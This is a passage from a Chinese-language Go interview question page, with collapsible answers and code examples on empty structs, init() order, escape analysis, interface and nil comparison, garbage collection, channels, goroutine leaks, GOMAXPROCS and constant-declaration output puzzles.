3</span><br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q16 空 struct{} 的用途</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>使用空结构体 struct{} 可以节省内存,一般作为占位符使用,表明这里并不需要一个值。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs go">fmt.Println(unsafe.Sizeof(<span class="hljs-keyword">struct</span>{}{})) <span class="hljs-comment">// 0</span><br></code></pre></td></tr></table></figure>
<p>比如使用 map 表示集合时,只关注 key,value 可以使用 struct{} 作为占位符。如果使用其他类型作为占位符,例如 int,bool,不仅浪费了内存,而且容易引起歧义。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Set <span class="hljs-keyword">map</span>[<span class="hljs-keyword">string</span>]<span class="hljs-keyword">struct</span>{}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> set := <span class="hljs-built_in">make</span>(Set)<br><br> <span class="hljs-keyword">for</span> _, item := <span class="hljs-keyword">range</span> []<span class="hljs-keyword">string</span>{<span class="hljs-string">"A"</span>, <span class="hljs-string">"A"</span>, <span class="hljs-string">"B"</span>, <span class="hljs-string">"C"</span>} {<br> set[item] = <span class="hljs-keyword">struct</span>{}{}<br> }<br> fmt.Println(<span class="hljs-built_in">len</span>(set)) <span class="hljs-comment">// 3</span><br> <span class="hljs-keyword">if</span> _, ok := set[<span class="hljs-string">"A"</span>]; ok {<br> fmt.Println(<span class="hljs-string">"A exists"</span>) <span class="hljs-comment">// A exists</span><br> }<br>}<br></code></pre></td></tr></table></figure>
<p>再比如,使用信道(channel)控制并发时,我们只是需要一个信号,但并不需要传递值,这个时候,也可以使用 struct{} 代替。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> ch := <span class="hljs-built_in">make</span>(<span class="hljs-keyword">chan</span> <span class="hljs-keyword">struct</span>{}, <span class="hljs-number">1</span>)<br> <span class="hljs-keyword">go</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> {<br> <-ch<br> <span class="hljs-comment">// do something</span><br> }()<br> ch <- <span class="hljs-keyword">struct</span>{}{}<br> <span class="hljs-comment">// ...</span><br>}<br></code></pre></td></tr></table></figure>
<p>再比如,声明只包含方法的结构体。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Lamp <span class="hljs-keyword">struct</span>{}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(l Lamp)</span> <span class="hljs-title">On</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-built_in">println</span>(<span class="hljs-string">"On"</span>)<br><br>}<br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(l Lamp)</span> <span class="hljs-title">Off</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-built_in">println</span>(<span class="hljs-string">"Off"</span>)<br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<h4 id="实现原理">实现原理</h4>
<p>Q1 init() 函数是什么时候执行的?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p><code>init()</code> 函数是 Go 程序初始化的一部分。Go 程序初始化先于 main 函数,由 runtime 初始化每个导入的包,初始化顺序不是按照从上到下的导入顺序,而是按照解析的依赖关系,没有依赖的包最先初始化。</p>
<p>每个包首先初始化包作用域的常量和变量(常量优先于变量),然后执行包的 <code>init()</code> 函数。同一个包,甚至是同一个源文件可以有多个 <code>init()</code> 函数。<code>init()</code> 函数没有入参和返回值,不能被其他函数调用,同一个包内多个 <code>init()</code> 函数的执行顺序不作保证。</p>
<p>一句话总结: import –> const –> var –> <code>init()</code> –> <code>main()</code></p>
<p>示例:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">init</span><span class="hljs-params">()</span></span> {<br> fmt.Println(<span class="hljs-string">"init1:"</span>, a)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">init</span><span class="hljs-params">()</span></span> {<br> fmt.Println(<span class="hljs-string">"init2:"</span>, a)<br>}<br><br><span class="hljs-keyword">var</span> a = <span class="hljs-number">10</span><br><span class="hljs-keyword">const</span> b = <span class="hljs-number">100</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> fmt.Println(<span class="hljs-string">"main:"</span>, a)<br>}<br><span class="hljs-comment">// 执行结果</span><br><span class="hljs-comment">// init1: 10</span><br><span class="hljs-comment">// init2: 10</span><br><span class="hljs-comment">// main: 10</span><br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q2 Go 语言的局部变量分配在栈上还是堆上?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>由编译器决定。Go 语言编译器会自动决定把一个变量放在栈还是放在堆,编译器会做逃逸分析(escape analysis),当发现变量的作用域没有超出函数范围,就可以在栈上,反之则必须分配在堆上。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">foo</span><span class="hljs-params">()</span> *<span class="hljs-title">int</span></span> {<br> v := <span class="hljs-number">11</span><br> <span class="hljs-keyword">return</span> &v<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> m := foo()<br> <span class="hljs-built_in">println</span>(*m) <span class="hljs-comment">// 11</span><br>}<br></code></pre></td></tr></table></figure>
<p><code>foo()</code> 函数中,如果 v 分配在栈上,foo 函数返回时,<code>&v</code> 就不存在了,但是这段函数是能够正常运行的。Go 编译器发现 v 的引用脱离了 foo 的作用域,会将其分配在堆上。因此,main 函数中仍能够正常访问该值。</p>
</div>
</div>
<p>Q3 2 个 interface 可以比较吗?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>Go 语言中,interface 的内部实现包含了 2 个字段,类型 <code>T</code> 和 值 <code>V</code>,interface 可以使用 <code>==</code> 或 <code>!=</code> 比较。2 个 interface 相等有以下 2 种情况</p>
<ol type="1">
<li>两个 interface 均等于 nil(此时 V 和 T 都处于 unset 状态)</li>
<li>类型 T 相同,且对应的值 V 相等。</li>
</ol>
<p>看下面的例子:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Stu <span class="hljs-keyword">struct</span> {<br> Name <span class="hljs-keyword">string</span><br>}<br><br><span class="hljs-keyword">type</span> StuInt <span class="hljs-keyword">interface</span>{}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> stu1, stu2 StuInt = &Stu{<span class="hljs-string">"Tom"</span>}, &Stu{<span class="hljs-string">"Tom"</span>}<br> <span class="hljs-keyword">var</span> stu3, stu4 StuInt = Stu{<span class="hljs-string">"Tom"</span>}, Stu{<span class="hljs-string">"Tom"</span>}<br> fmt.Println(stu1 == stu2) <span class="hljs-comment">// false</span><br> fmt.Println(stu3 == stu4) <span class="hljs-comment">// true</span><br>}<br></code></pre></td></tr></table></figure>
<p><code>stu1</code> 和 <code>stu2</code> 对应的类型是 <code>*Stu</code>,值是 Stu 结构体的地址,两个地址不同,因此结果为 false。 <code>stu3</code> 和 <code>stu4</code> 对应的类型是 <code>Stu</code>,值是 Stu 结构体,且各字段相等,因此结果为 true。</p>
</div>
</div>
<p>Q4 两个 nil 可能不相等吗?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>可能。</p>
<p>接口(interface) 是对非接口值(例如指针,struct等)的封装,内部实现包含 2 个字段,类型 <code>T</code> 和 值 <code>V</code>。一个接口等于 nil,当且仅当 T 和 V 处于 unset 状态(T=nil,V is unset)。</p>
<ul>
<li>两个接口值比较时,会先比较 T,再比较 V。</li>
<li>接口值与非接口值比较时,会先将非接口值尝试转换为接口值,再比较。</li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> p *<span class="hljs-keyword">int</span> = <span class="hljs-literal">nil</span><br> <span class="hljs-keyword">var</span> i <span class="hljs-keyword">interface</span>{} = p<br> fmt.Println(i == p) <span class="hljs-comment">// true</span><br> fmt.Println(p == <span class="hljs-literal">nil</span>) <span class="hljs-comment">// true</span><br> fmt.Println(i == <span class="hljs-literal">nil</span>) <span class="hljs-comment">// false</span><br>}<br></code></pre></td></tr></table></figure>
<p>上面这个例子中,将一个 nil 非接口值 p 赋值给接口 i,此时,i 的内部字段为<code>(T=*int, V=nil)</code>,i 与 p 作比较时,将 p 转换为接口后再比较,因此 <code>i == p</code>,p 与 nil 比较,直接比较值,所以 <code>p == nil</code>。</p>
<p>但是当 i 与 nil 比较时,会将 nil 转换为接口 <code>(T=nil, V=nil)</code>,与i <code>(T=*int, V=nil)</code> 不相等,因此 <code>i != nil</code>。因此 V 为 nil ,但 T 不为 nil 的接口不等于 nil。</p>
</div>
</div>
<p>Q5 简述 Go 语言GC(垃圾回收)的工作原理</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>最常见的垃圾回收算法有标记清除(Mark-Sweep) 和引用计数(Reference Count),Go 语言采用的是标记清除算法。并在此基础上使用了三色标记法和写屏障技术,提高了效率。</p>
<p>标记清除收集器是跟踪式垃圾收集器,其执行过程可以分成标记(Mark)和清除(Sweep)两个阶段:</p>
<ul>
<li>标记阶段 — 从根对象出发查找并标记堆中所有存活的对象;</li>
<li>清除阶段 — 遍历堆中的全部对象,回收未被标记的垃圾对象并将回收的内存加入空闲链表。</li>
</ul>
<p>标记清除算法的一大问题是在标记期间,需要暂停程序(Stop the world,STW),标记结束之后,用户程序才可以继续执行。为了能够异步执行,减少 STW 的时间,Go 语言采用了三色标记法。</p>
<p>三色标记算法将程序中的对象分成白色、黑色和灰色三类。</p>
<ul>
<li>白色:不确定对象。</li>
<li>灰色:存活对象,子对象待处理。</li>
<li>黑色:存活对象。</li>
</ul>
<p>标记开始时,所有对象加入白色集合(这一步需 STW )。首先将根对象标记为灰色,加入灰色集合,垃圾搜集器取出一个灰色对象,将其标记为黑色,并将其指向的对象标记为灰色,加入灰色集合。重复这个过程,直到灰色集合为空为止,标记阶段结束。那么白色对象即可需要清理的对象,而黑色对象均为根可达的对象,不能被清理。</p>
<p>三色标记法因为多了一个白色的状态来存放不确定对象,所以后续的标记阶段可以并发地执行。当然并发执行的代价是可能会造成一些遗漏,因为那些早先被标记为黑色的对象可能目前已经是不可达的了。所以三色标记法是一个 false negative(假阴性)的算法。</p>
<p>三色标记法并发执行仍存在一个问题,即在 GC 过程中,对象指针发生了改变。比如下面的例子:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">A (黑) -> B (灰) -> C (白) -> D (白)<br></code></pre></td></tr></table></figure>
<p>正常情况下,D 对象最终会被标记为黑色,不应被回收。但在标记和用户程序并发执行过程中,用户程序删除了 C 对 D 的引用,而 A 获得了 D 的引用。标记继续进行,D 就没有机会被标记为黑色了(A 已经处理过,这一轮不会再被处理)。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs shell">A (黑) -> B (灰) -> C (白) <br> ↓<br> D (白)<br></code></pre></td></tr></table></figure>
<p>为了解决这个问题,Go 使用了内存屏障技术,它是在用户程序读取对象、创建新对象以及更新对象指针时执行的一段代码,类似于一个钩子。垃圾收集器使用了写屏障(Write Barrier)技术,当对象新增或更新时,会将其着色为灰色。这样即使与用户程序并发执行,对象的引用发生改变时,垃圾收集器也能正确处理了。</p>
<p>一次完整的 GC 分为四个阶段:</p>
<ul>
<li>1)标记准备(Mark Setup,需 STW),打开写屏障(Write Barrier)</li>
<li>2)使用三色标记法标记(Marking, 并发)</li>
<li>3)标记结束(Mark Termination,需 STW),关闭写屏障。</li>
<li>4)清理(Sweeping, 并发)</li>
</ul>
</div>
</div>
<p>Q6 函数返回局部变量的指针是否安全?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>这在 Go 中是安全的,Go 编译器将会对每个局部变量进行逃逸分析。如果发现局部变量的作用域超出该函数,则不会将内存分配在栈上,而是分配在堆上。</p>
</div>
</div>
<p>Q7 非接口非接口的任意类型 T() 都能够调用 <code>*T</code> 的方法吗?反过来呢?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<ul>
<li>一个T类型的值可以调用为<code>*T</code>类型声明的方法,但是仅当此T的值是可寻址(addressable) 的情况下。编译器在调用指针属主方法前,会自动取此T值的地址。因为不是任何T值都是可寻址的,所以并非任何T值都能够调用为类型<code>*T</code>声明的方法。</li>
<li>反过来,一个<code>*T</code>类型的值可以调用为类型T声明的方法,这是因为解引用指针总是合法的。事实上,你可以认为对于每一个为类型 T 声明的方法,编译器都会为类型<code>*T</code>自动隐式声明一个同名和同签名的方法。</li>
</ul>
<p>哪些值是不可寻址的呢?</p>
<ul>
<li>字符串中的字节;</li>
<li>map 对象中的元素(slice 对象中的元素是可寻址的,slice的底层是数组);</li>
<li>常量;</li>
<li>包级别的函数等。</li>
</ul>
<p>举一个例子,定义类型 T,并为类型 <code>*T</code> 声明一个方法 <code>hello()</code>,变量 t1 可以调用该方法,但是常量 t2 调用该方法时,会产生编译错误。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> T <span class="hljs-keyword">string</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(t *T)</span> <span class="hljs-title">hello</span><span class="hljs-params">()</span></span> {<br> fmt.Println(<span class="hljs-string">"hello"</span>)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> t1 T = <span class="hljs-string">"ABC"</span><br> t1.hello() <span class="hljs-comment">// hello</span><br> <span class="hljs-keyword">const</span> t2 T = <span class="hljs-string">"ABC"</span><br> t2.hello() <span class="hljs-comment">// error: cannot call pointer method on t</span><br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<h4 id="并发编程">并发编程</h4>
<p>Q1 无缓冲的 channel 和 有缓冲的 channel 的区别?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>对于无缓冲的 channel,发送方将阻塞该信道,直到接收方从该信道接收到数据为止,而接收方也将阻塞该信道,直到发送方将数据发送到该信道中为止。</p>
<p>对于有缓存的 channel,发送方在没有空插槽(缓冲区使用完)的情况下阻塞,而接收方在信道为空的情况下阻塞。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> st := time.Now()<br> ch := <span class="hljs-built_in">make</span>(<span class="hljs-keyword">chan</span> <span class="hljs-keyword">bool</span>)<br> <span class="hljs-keyword">go</span> <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">()</span></span> {<br> time.Sleep(time.Second * <span class="hljs-number">2</span>)<br> <-ch<br> }()<br> ch <- <span class="hljs-literal">true</span> <span class="hljs-comment">// 无缓冲,发送方阻塞直到接收方接收到数据。</span><br> fmt.Printf(<span class="hljs-string">"cost %.1f s\n"</span>, time.Now().Sub(st).Seconds())<br> time.Sleep(time.Second * <span class="hljs-number">5</span>)<br>}<br></code></pre></td></tr></table></figure>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> st := time.Now()<br> ch := <span class="hljs-built_in">make</span>(<span class="hljs-keyword">chan</span> <span class="hljs-keyword">bool</span>, <span class="hljs-number">2</span>)<br> <span class="hljs-keyword">go</span> <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">()</span></span> {<br> time.Sleep(time.Second * <span class="hljs-number">2</span>)<br> <-ch<br> }()<br> ch <- <span class="hljs-literal">true</span><br> ch <- <span class="hljs-literal">true</span> <span class="hljs-comment">// 缓冲区为 2,发送方不阻塞,继续往下执行</span><br> fmt.Printf(<span class="hljs-string">"cost %.1f s\n"</span>, time.Now().Sub(st).Seconds()) <span class="hljs-comment">// cost 0.0 s</span><br> ch <- <span class="hljs-literal">true</span> <span class="hljs-comment">// 缓冲区使用完,发送方阻塞,2s 后接收方接收到数据,释放一个插槽,继续往下执行</span><br> fmt.Printf(<span class="hljs-string">"cost %.1f s\n"</span>, time.Now().Sub(st).Seconds()) <span class="hljs-comment">// cost 2.0 s</span><br> time.Sleep(time.Second * <span class="hljs-number">5</span>)<br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q2 什么是协程泄露(Goroutine Leak)?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>协程泄露是指协程创建后,长时间得不到释放,并且还在不断地创建新的协程,最终导致内存耗尽,程序崩溃。常见的导致协程泄露的场景有以下几种:</p>
<ul>
<li>缺少接收器,导致发送阻塞</li>
</ul>
<p>这个例子中,每执行一次 query,则启动1000个协程向信道 ch 发送数字 0,但只接收了一次,导致 999 个协程被阻塞,不能退出。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">query</span><span class="hljs-params">()</span> <span class="hljs-title">int</span></span> {<br> ch := <span class="hljs-built_in">make</span>(<span class="hljs-keyword">chan</span> <span class="hljs-keyword">int</span>)<br> <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i < <span class="hljs-number">1000</span>; i++ {<br> <span class="hljs-keyword">go</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> { ch <- <span class="hljs-number">0</span> }()<br> }<br> <span class="hljs-keyword">return</span> <-ch<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i < <span class="hljs-number">4</span>; i++ {<br> query()<br> fmt.Printf(<span class="hljs-string">"goroutines: %d\n"</span>, runtime.NumGoroutine())<br> }<br>}<br><span class="hljs-comment">// goroutines: 1001</span><br><span class="hljs-comment">// goroutines: 2000</span><br><span class="hljs-comment">// goroutines: 2999</span><br><span class="hljs-comment">// goroutines: 3998</span><br></code></pre></td></tr></table></figure>
<ul>
<li>缺少发送器,导致接收阻塞</li>
</ul>
<p>那同样的,如果启动 1000 个协程接收信道的信息,但信道并不会发送那么多次的信息,也会导致接收协程被阻塞,不能退出。</p>
<ul>
<li>死锁(dead lock)</li>
</ul>
<p>两个或两个以上的协程在执行过程中,由于竞争资源或者由于彼此通信而造成阻塞,这种情况下,也会导致协程被阻塞,不能退出。</p>
<ul>
<li>无限循环(infinite loops)</li>
</ul>
<p>这个例子中,为了避免网络等问题,采用了无限重试的方式,发送 HTTP 请求,直到获取到数据。那如果 HTTP 服务宕机,永远不可达,导致协程不能退出,发生泄漏。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">request</span><span class="hljs-params">(url <span class="hljs-keyword">string</span>, wg *sync.WaitGroup)</span></span> {<br> i := <span class="hljs-number">0</span><br> <span class="hljs-keyword">for</span> {<br> <span class="hljs-keyword">if</span> _, err := http.Get(url); err == <span class="hljs-literal">nil</span> {<br> <span class="hljs-comment">// write to db</span><br> <span class="hljs-keyword">break</span><br> }<br> i++<br> <span class="hljs-keyword">if</span> i >= <span class="hljs-number">3</span> {<br> <span class="hljs-keyword">break</span><br> }<br> time.Sleep(time.Second)<br> }<br> wg.Done()<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> wg sync.WaitGroup<br> <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i < <span class="hljs-number">1000</span>; i++ {<br> wg.Add(<span class="hljs-number">1</span>)<br> <span class="hljs-keyword">go</span> request(fmt.Sprintf(<span class="hljs-string">"https://127.0.0.1:8080/%d"</span>, i), &wg)<br> }<br> wg.Wait()<br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q3 Go 可以限制运行时操作系统线程的数量吗?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<blockquote>
<p>The GOMAXPROCS variable limits the number of operating system threads that can execute user-level Go code simultaneously. There is no limit to the number of threads that can be blocked in system calls on behalf of Go code; those do not count against the GOMAXPROCS limit.</p>
</blockquote>
<p>可以使用环境变量 <code>GOMAXPROCS</code> 或 <code>runtime.GOMAXPROCS(num int)</code> 设置,例如:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">runtime.GOMAXPROCS(1) // 限制同时执行Go代码的操作系统线程数为 1<br></code></pre></td></tr></table></figure>
<p>从官方文档的解释可以看到,<code>GOMAXPROCS</code> 限制的是同时执行用户态 Go 代码的操作系统线程的数量,但是对于被系统调用阻塞的线程数量是没有限制的。<code>GOMAXPROCS</code> 的默认值等于 CPU 的逻辑核数,同一时间,一个核只能绑定一个线程,然后运行被调度的协程。因此对于 CPU 密集型的任务,若该值过大,例如设置为 CPU 逻辑核数的 2 倍,会增加线程切换的开销,降低性能。对于 I/O 密集型应用,适当地调大该值,可以提高 I/O 吞吐率。</p>
</div>
</div>
<h4 id="代码输出">代码输出</h4>
<h5 id="常量与变量">常量与变量</h5>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">const</span> (<br> a, b = <span class="hljs-string">"golang"</span>, <span class="hljs-number">100</span><br> d, e<br> f <span class="hljs-keyword">bool</span> = <span class="hljs-literal">true</span><br> g<br> )<br> fmt.Println(d, e, g)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>golang 100 true</p>
<p>在同一个 const group 中,如果常量定义与前一行的定义一致,则可以省略类型和值。编译时,会按照前一行的定义自动补全。即等价于</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">const</span> (<br> a, b = <span class="hljs-string">"golang"</span>, <span class="hljs-number">100</span><br> d, e = <span class="hljs-string">"golang"</span>, <span class="hljs-number">100</span><br> f <span class="hljs-keyword">bool</span> = <span class="hljs-literal">true</span><br> g <span class="hljs-keyword">bool</span> = <span class="hljs-literal">true</span><br> )<br> fmt.Println(d, e, g)<br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>下列代码的输出是:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">const</span> N = <span class="hljs-number">100</span><br> <span class="hljs-keyword">var</span> x <span class="hljs-keyword">int</span> = N<br><br> <span class="hljs-keyword">const</span> M <span class="hljs-keyword">int32</span> = <span class="hljs-number">100</span><br> <span class="hljs-keyword">var</span> y <span class="hljs-keyword">int</span> = M<br> fmt.Println(x, y)<br>}<br></code></pre></td></tr></table></figure>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>编译失败:cannot use M (type int32) as type int in assignment</p>
<p>Go 语言中,常量分为无类型常量和有类型常量两种,<code>const N = 100</code>,属于无类型常量,赋值给其他变量时,如果字面量能够转换为对应类型的变量,则赋值成功,例如,<code>var x int = N</code>。但是对于有类型的常量 <code>const M int32 = 100</code>,赋值给其他变量时,需要类型匹配才能成功,所以显示地类型转换:</p>
